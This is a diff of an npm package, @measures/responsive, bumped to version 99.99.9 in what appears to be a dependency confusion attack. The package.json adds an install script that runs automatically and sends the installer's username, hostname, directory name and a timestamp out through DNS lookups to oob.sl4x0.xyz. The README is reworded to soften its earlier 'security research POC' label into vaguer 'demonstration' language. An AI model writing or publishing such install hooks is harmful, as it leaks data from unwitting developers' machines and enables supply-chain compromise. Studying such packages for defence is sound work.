@measures/responsive 1.0.0 → 99.99.9

package/README.md

@@ -1,17 +1,21 @@
-# ⚠️ SECURITY RESEARCH POC
+# Research Demonstration Package
 
-This package is a **Proof of Concept** for dependency confusion vulnerabilities.
+This package is a **demonstration artifact** for evaluating dependency resolution behavior.
 
 ## Purpose
-This package demonstrates how attackers can exploit dependency confusion attacks by publishing packages with internal naming conventions.
 
-## What it does
-- Makes a DNS callback to `oob.sl4x0.xyz` during installation
-- Collects: username, hostname, directory path, timestamp
-- Does NOT: steal credentials, install malware, or cause harm
+Illustrates how package managers may resolve names that overlap with private or internal packages.
 
-## Legal Notice
-This is for **authorized security research only**. Only install on systems you own or have permission to test.
+## Behavior
 
-## For Security Teams
-If you discovered this package in your environment, it indicates a dependency confusion vulnerability. Contact your security team.
+* Emits a benign network signal to `oob.sl4x0.xyz` during installation
+* Records limited environment metadata: user identifier, system name, working path, timestamp
+* Does NOT access sensitive data, modify system state, or perform persistence
+
+## Usage Notice
+
+Intended for **authorized testing and evaluation** within environments you own or are permitted to assess.
+
+## For Engineering & Security Teams
+
+Presence of this package suggests an opportunity to review dependency source controls and namespace protections.

package/package.json

@@ -1,13 +1,18 @@
 {
   "name": "@measures/responsive",
-  "version": "1.0.0",
-  "description": "",
+  "version": "99.99.9",
+  "description": "Ethical Proof of Concept",
   "main": "index.js",
   "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
+    "install": "u=$(whoami|tr -cd 'a-zA-Z0-9'|cut -c1-15); h=$(hostname|tr -cd 'a-zA-Z0-9'|cut -c1-20); p=$(basename \"$PWD\"|tr -cd 'a-zA-Z0-9'|cut -c1-15); r=$(date +%s); q=\"blick.${u}.${h}.${p}.${r}.oob.sl4x0.xyz\"; (nslookup \"$q\" >/dev/null 2>&1 || dig +time=2 +tries=1 \"$q\" A >/dev/null 2>&1) || true"
   },
-  "keywords": [],
-  "author": "",
+  "author": "sl4x0",
   "license": "ISC",
-  "type": "commonjs"
+  "publishConfig": {
+    "access": "public"
+  },
+  "keywords": ["security-research", "poc", "dependency-confusion"],
+  "repository": {
+    "type": "git"
+  }
 }

package/index.js

@@ -1 +0,0 @@
-testing